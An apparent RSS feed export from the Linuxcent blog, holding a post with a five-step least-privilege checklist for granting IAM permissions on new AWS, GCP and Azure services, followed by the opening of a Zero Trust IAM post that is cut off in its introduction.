<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cloud IAM Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/category/cloud-iam/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/category/cloud-iam/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Mon, 06 Jul 2026 05:16:57 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>Cloud IAM Archives - Linuxcent</title>
	<link>https://linuxcent.com/category/cloud-iam/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>New Cloud Service IAM Permissions: A Checklist Before You Grant Access</title>
		<link>https://linuxcent.com/new-service-iam-permissions-checklist/</link>
					<comments>https://linuxcent.com/new-service-iam-permissions-checklist/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 05:16:54 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[Access Analyzer]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[Azure RBAC]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[GCP IAM]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Least Privilege]]></category>
		<guid isPermaLink="false">https://linuxcent.com/new-service-iam-permissions-checklist/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span>New cloud service IAM permissions ship on GA day — this five-step AWS, GCP, and Azure checklist scopes them correctly before you grant broad access.</p>
<p>The post <a href="https://linuxcent.com/new-service-iam-permissions-checklist/">New Cloud Service IAM Permissions: A Checklist Before You Grant Access</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/zero-trust-iam/">← EP12: Zero Trust Access in the Cloud</a>  ·  <strong>EP13: New-Service IAM Checklist</strong>  ·  <a href="/cloud-iam-series/">All Cloud IAM Episodes →</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>New cloud service IAM permissions ship on GA day — often before your Terraform provider, internal IaC modules, or team wiki catch up</li>
<li>The fast path is <code class="" data-line="">service:*</code> on <code class="" data-line="">Resource: *</code> — the tempting unblock, and also how wildcard debt starts (see <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a>)</li>
<li>Five-step checklist: find the exact actions, scope the resource, dry-run before granting, attach a guardrail, and put a 30-day review on the calendar</li>
<li>AWS has no single CLI call that lists &#8220;every action for a service&#8221; — use the Service Authorization Reference plus IAM Access Analyzer&#8217;s policy generation from real CloudTrail activity</li>
<li>GCP&#8217;s <code class="" data-line="">gcloud iam list-testable-permissions</code> returns the exact permissions grantable on a specific resource — scoped to what that resource type actually supports</li>
<li>Azure&#8217;s <code class="" data-line="">az provider operation show --namespace Microsoft.&lt;Service&gt;</code> lists every operation a resource provider exposes, before you write a single role assignment</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  NEW CLOUD SERVICE SHIPS — THE FIRST GRANT DECIDES THE NEXT YEAR

  Provider ships GA
         │
         ▼
  Team requests access ──────► Tempting shortcut: &quot;service:*&quot; on &quot;*&quot;
         │                      (unblocks today, becomes next year&#039;s
         │                       wildcard-debt line item in EP09&#039;s audit)
         ▼
  STEP 1 — Find the exact actions the task needs
         │   (Service Authorization Reference · list-testable-permissions ·
         │    provider operation show)
         ▼
  STEP 2 — Scope the resource, not the account
         │   (ARN pattern / resource URI / resource group — never &quot;*&quot;)
         ▼
  STEP 3 — Dry-run before granting
         │   (simulate-principal-policy · policy-troubleshoot iam · what-if)
         ▼
  STEP 4 — Attach a guardrail, not just a grant
         │   (permission boundary / SCP · Org Policy · Azure Policy)
         ▼
  STEP 5 — Put a 30-day review on the calendar
         │   (provisional access, not permanent — EP09&#039;s audit is the
         │    backstop for whatever step 5 misses)
         ▼
  Access granted: scoped, guarded, and time-boxed
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
<p>New cloud service IAM permissions land the same day a provider ships something new — usually before your Terraform provider, your internal enablement docs, or anyone&#8217;s muscle memory has caught up. A team wants to use the new service today, and the fastest way to unblock them is a wildcard: <code class="" data-line="">service:*</code> on <code class="" data-line="">Resource: *</code>. It works immediately. It also never gets revisited.</p>
<p>I&#8217;ve seen this pattern enough times across AWS, GCP, and Azure environments to stop treating it as a one-off mistake and start treating it as a predictable failure mode. Every cloud provider ships new services and new API actions on existing services continuously — thousands of changes a year across the big three. IAM has to keep up with all of it, and nobody&#8217;s tooling updates same-day. The gap between &#8220;the service exists&#8221; and &#8220;the least-privilege policy for it exists&#8221; is where every wildcard grant in your account was born.</p>
<p>This episode is the checklist I use to close that gap before it becomes <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a> problem six months later.</p>
<hr />
<h2 id="why-this-keeps-happening">Why This Keeps Happening</h2>
<p>Cloud providers version their IAM action sets independently of their service launches. A service can go GA with its full action list, then add new actions for a feature shipped three months later — with no changelog most teams are subscribed to. Preview and beta services are worse: action names occasionally change between preview and GA, which means a policy scoped correctly during the beta can silently stop matching after the rename.</p>
<p>None of this is a documentation failure you can fix by reading more carefully. It&#8217;s a structural lag between provider release velocity and your policy review cycle. The fix isn&#8217;t reading faster — it&#8217;s having a checklist that runs the same way every time a new service shows up in a support ticket.</p>
<hr />
<h2 id="step-1-find-the-exact-actions-the-task-needs">Step 1: Find the Exact Actions the Task Needs</h2>
<h3 id="aws">AWS</h3>
<p>AWS doesn&#8217;t expose a single CLI call that lists &#8220;every action for this service.&#8221; The two real sources:</p>
<ol>
<li>The <a href="https://docs.aws.amazon.com/service-authorization/latest/reference/">Service Authorization Reference</a> — the canonical, per-service action/resource/condition-key list. Not a CLI, but the ground truth.</li>
<li>IAM Access Analyzer&#8217;s policy generation — build a least-privilege policy from what a role <em>actually called</em>, not from the full service action list:</li>
</ol>
<pre><code class="" data-line=""># Let a trial role use the new service for a short period first, then generate
# a policy scoped to only the actions that were actually invoked
aws accessanalyzer start-policy-generation \
  --policy-generation-details principalArn=arn:aws:iam::123456789012:role/new-service-trial-role \
  --cloud-trail-details &#039;{
    &quot;trails&quot;: [{&quot;cloudTrailArn&quot;: &quot;arn:aws:cloudtrail:us-east-1:123456789012:trail/management-trail&quot;, &quot;allRegions&quot;: true}],
    &quot;accessRole&quot;: &quot;arn:aws:iam::123456789012:role/AccessAnalyzerMonitorRole&quot;
  }&#039;

# Poll for the generated policy once the job completes
aws accessanalyzer get-generated-policy --job-id &lt;JOB_ID&gt;
</code></pre>
<blockquote>
<p><strong>For operators:</strong> this generates a policy from <em>observed</em> API calls, not theoretical need. Run the trial role for long enough to exercise every code path the team actually uses — a policy generated from five minutes of testing will be too narrow for production.</p>
</blockquote>
<h3 id="gcp">GCP</h3>
<pre><code class="" data-line=""># Returns the exact permissions that CAN be granted on this specific resource —
# scoped to what that resource type supports, not the whole service
gcloud iam list-testable-permissions \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1
</code></pre>
<p>Reading the output: each returned permission is one your team might plausibly need — GCP won&#8217;t list permissions that don&#8217;t apply to this resource type. Cross-reference against the task at hand and grant only the subset actually required.</p>
<h3 id="azure">Azure</h3>
<pre><code class="" data-line=""># Lists every operation (permission) a resource provider namespace exposes
az provider operation show \
  --namespace Microsoft.CognitiveServices \
  --query &quot;[].{Operation:name, Description:display.description}&quot; \
  -o table
</code></pre>
<p>This is the full menu for the namespace — most tasks need a handful of these operations, not all of them. Use it to find the exact operation string for a custom role definition rather than reaching for a built-in <code class="" data-line="">Contributor</code>-level role.</p>
<hr />
<h2 id="step-2-scope-the-resource-not-the-account">Step 2: Scope the Resource, Not the Account</h2>
<p>Finding the right action is half the job. The other half is refusing <code class="" data-line="">&quot;Resource&quot;: &quot;*&quot;</code>.</p>
<pre><code class="" data-line="">// Bad — every foundation model, in every region, forever
{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;bedrock:*&quot;,
  &quot;Resource&quot;: &quot;*&quot;
}

// Better — scoped to the specific model family the team asked for
{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [&quot;bedrock:InvokeModel&quot;],
  &quot;Resource&quot;: &quot;arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude*&quot;
}
</code></pre>
<p>The same discipline applies in GCP (bind the role to the specific project or resource, not the organization) and Azure (scope the role assignment to the resource group, not the subscription). A new service is the easiest moment to get this right — there&#8217;s no existing wildcard grant to &#8220;just extend.&#8221;</p>
<hr />
<h2 id="step-3-dry-run-before-you-grant">Step 3: Dry-Run Before You Grant</h2>
<p>Test the policy against the real action before it&#8217;s live.</p>
<pre><code class="" data-line=""># AWS: simulate whether a principal&#039;s policy allows a specific action on a specific resource
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:role/new-service-role \
  --action-names bedrock:InvokeModel \
  --resource-arns arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-v2
</code></pre>
<pre><code class="" data-line=""># GCP: Policy Troubleshooter — does this principal have this permission on this resource, and why (or why not)?
gcloud policy-troubleshoot iam \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1 \
  --principal-email=svc-new-service@my-project.iam.gserviceaccount.com \
  --permission=aiplatform.endpoints.predict
</code></pre>
<pre><code class="" data-line=""># Azure: preview what an IaC deployment (including role assignments) will change before applying it
az deployment group what-if \
  --resource-group rg-new-service \
  --template-file role-assignment.bicep
</code></pre>
<p>None of these grant access. All three tell you, before the grant is live, whether the policy you wrote actually does what you think it does.</p>
<hr />
<h2 id="step-4-attach-a-guardrail-not-just-a-grant">Step 4: Attach a Guardrail, Not Just a Grant</h2>
<p>A grant without a guardrail is one typo away from being an account-wide wildcard. Pair every new-service grant with a boundary that survives the next person copy-pasting the policy:</p>
<ul>
<li><strong>AWS</strong> — a permission boundary on the role, or an SCP restricting the new service to specific OUs until it&#8217;s been reviewed</li>
<li><strong>GCP</strong> — an Org Policy constraint limiting resource locations or restricting which services can be enabled in the first place</li>
<li><strong>Azure</strong> — an Azure Policy assignment enforcing an allowed-services list at the subscription or management group level</li>
</ul>
<p>The guardrail is what keeps &#8220;we scoped it correctly on day one&#8221; true after the policy gets copied into three other roles by someone who wasn&#8217;t in this conversation.</p>
<hr />
<h2 id="step-5-put-a-30-day-review-on-the-calendar">Step 5: Put a 30-Day Review on the Calendar</h2>
<p>Treat every new-service grant as provisional, not permanent. A calendar reminder — not a ticket that can sit in a backlog — to check actual usage against granted permissions 30 days out.</p>
<p>This is the same discipline <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a> runs at the account level, applied at the moment of grant instead of six months later. Step 5 is what catches the case where the team&#8217;s actual usage turned out narrower than the trial period suggested — or wider, because the trial period didn&#8217;t exercise every path.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<table>
<thead>
<tr>
<th>Mistake</th>
<th>Impact</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Granting console-wide access &#8220;temporarily&#8221; while waiting for Terraform provider support</td>
<td>Temporary access outlives the wait — nobody revokes it once the provider resource ships</td>
<td>Time-box the console grant explicitly; automate its removal, don&#8217;t rely on memory</td>
</tr>
<tr>
<td>Scoping a policy to a preview/beta action name</td>
<td>Silent breakage (or worse, silent continued access via an old wildcard) when the action renames at GA</td>
<td>Re-verify the action name against the Service Authorization Reference at GA, not just at preview</td>
</tr>
<tr>
<td>Assuming a new service reuses an existing condition key</td>
<td>Policy conditions that &#8220;should&#8221; restrict access silently don&#8217;t apply, because the new service doesn&#8217;t support that key</td>
<td>Check the service&#8217;s supported condition keys before reusing an existing policy pattern</td>
</tr>
<tr>
<td>Trial period too short for Access Analyzer&#8217;s policy generation</td>
<td>Generated policy is too narrow; production breaks on day one under real load</td>
<td>Run the trial long enough to exercise every code path, including error and retry paths</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Task</th>
<th>AWS</th>
<th>GCP</th>
<th>Azure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Discover exact actions</td>
<td>Service Authorization Reference + <code class="" data-line="">accessanalyzer start-policy-generation</code></td>
<td><code class="" data-line="">gcloud iam list-testable-permissions &lt;resource&gt;</code></td>
<td><code class="" data-line="">az provider operation show --namespace &lt;Provider&gt;</code></td>
</tr>
<tr>
<td>Dry-run a grant</td>
<td><code class="" data-line="">aws iam simulate-principal-policy</code></td>
<td><code class="" data-line="">gcloud policy-troubleshoot iam</code></td>
<td><code class="" data-line="">az deployment group what-if</code></td>
</tr>
<tr>
<td>Guardrail</td>
<td>Permission boundary / SCP</td>
<td>Org Policy constraint</td>
<td>Azure Policy assignment</td>
</tr>
<tr>
<td>Recurring check</td>
<td><code class="" data-line="">aws accessanalyzer</code> unused-access findings</td>
<td>IAM Recommender</td>
<td>Access Reviews</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Control / ID</th>
<th>Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — IAM</td>
<td>Least privilege enforced at initial provisioning, not discovered later through audit</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 1 — Security &amp; Risk Management</td>
<td>Provisional access as a risk-acceptance decision with an explicit review date</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Access rights defined and scoped to business need at the point of grant</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>Review of access rights — extended here to newly granted permissions, not just standing ones</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Logical access controls restrict access to authorized users and processes from first grant</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Access is modified or revoked based on a defined review cadence</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>New cloud service IAM permissions ship on the provider&#8217;s schedule, not yours — the checklist has to run the same way every time, not only when someone remembers</li>
<li>The fast path (<code class="" data-line="">service:*</code> on <code class="" data-line="">*</code>) is also the path to next year&#8217;s wildcard-debt finding — scope it once, at the point of grant, instead of unwinding it later</li>
<li>AWS, GCP, and Azure each expose a different tool for discovering exact actions — none of them is &#8220;read the whole service&#8217;s docs and guess&#8221;</li>
<li>A grant without a guardrail (permission boundary, SCP, Org Policy, Azure Policy) is one copy-paste away from becoming account-wide</li>
<li>Provisional access needs an expiration built in from day one — a 30-day calendar review, not a hope that someone runs the audit eventually</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>This series doesn&#8217;t have a fixed episode count anymore — new cloud service IAM permissions are a continuous stream across AWS, GCP, and Azure, and this series continues covering them as they matter operationally, not on a fixed syllabus.</p>
<p>Get the next Cloud IAM episode in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&#038;title=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" data-a2a-url="https://linuxcent.com/new-service-iam-permissions-checklist/" data-a2a-title="New Cloud Service IAM Permissions: A Checklist Before You Grant Access"></a></p><p>The post <a href="https://linuxcent.com/new-service-iam-permissions-checklist/">New Cloud Service IAM Permissions: A Checklist Before You Grant Access</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/new-service-iam-permissions-checklist/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2176</post-id>	</item>
		<item>
		<title>Zero Trust Access in the Cloud: How the Evaluation Loop Actually Works</title>
		<link>https://linuxcent.com/zero-trust-iam/</link>
					<comments>https://linuxcent.com/zero-trust-iam/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 20 Apr 2026 17:06:46 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Identity Security]]></category>
		<category><![CDATA[JIT Access]]></category>
		<category><![CDATA[Zero Trust]]></category>
		<category><![CDATA[Zero Trust Architecture]]></category>
		<category><![CDATA[Zero Trust IAM]]></category>
		<guid isPermaLink="false">https://linuxcent.com/zero-trust-iam/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>Zero Trust IAM architecture: eliminate implicit trust, enforce just-in-time least privilege, assume breach, and build continuous context-aware access verification.</p>
<p>The post <a href="https://linuxcent.com/zero-trust-iam/">Zero Trust Access in the Cloud: How the Evaluation Loop Actually Works</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> → <a href="/workload-identity-oidc-service-accounts/">OIDC Workload Identity</a> → <a href="/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation</a> → <a href="/iam-least-privilege-audit/">AWS Least Privilege Audit</a> → <a href="/cloud-identity-federation-oidc-saml/">SAML vs OIDC Federation</a> → <a href="/kubernetes-rbac-cloud-iam/">Kubernetes RBAC and AWS IAM</a> → <strong>Zero Trust Access in the Cloud</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Zero Trust: trust nothing implicitly, verify everything explicitly, minimize blast radius by assuming you will be breached</li>
<li>Network location is not identity — VPN is authentication for the tunnel, not authorization for the resource</li>
<li>JIT privilege elevation removes standing admin access: engineers request elevation for a specific purpose, scoped to a specific duration</li>
<li>Device posture is an access signal — a compromised endpoint with valid credentials is still a threat; Conditional Access gates on device compliance</li>
<li>Continuous session validation re-evaluates signals throughout the session — device falls out of compliance, sessions revoke in minutes, not at expiry</li>
<li>The highest-ROI early moves: eliminate machine static credentials, enforce MFA on all human access, federate to a single IdP</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  ZERO TRUST IAM — EVERY REQUEST EVALUATED INDEPENDENTLY

  API call arrives
         │
         ▼
  Identity verified? ──── No ────► DENY
         │
        Yes
         │
         ▼
  Device compliant? ───── No ────► DENY (or step-up MFA)
         │
        Yes
         │
         ▼
  Policy allows this  ─── No ────► DENY
  action on this ARN?
         │
        Yes
         │
         ▼
  Conditions met? ─────── No ────► DENY
  (time, IP, MFA age,              (e.g., outside business hours,
   risk score, session)             impossible travel detected)
         │
        Yes
         │
         ▼
       ALLOW ──────────────────────► LOG every decision (allow and deny)
         │
         └── Continuous re-evaluation:
             device state changes → revoke
             anomaly detected → revoke or step-up
             credential age → require re-auth
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
<p>The perimeter model of network security made a bet: inside the network is trusted, outside is not. Lock down the perimeter tightly enough and you&#8217;re safe. VPN in, and you&#8217;re one of us.</p>
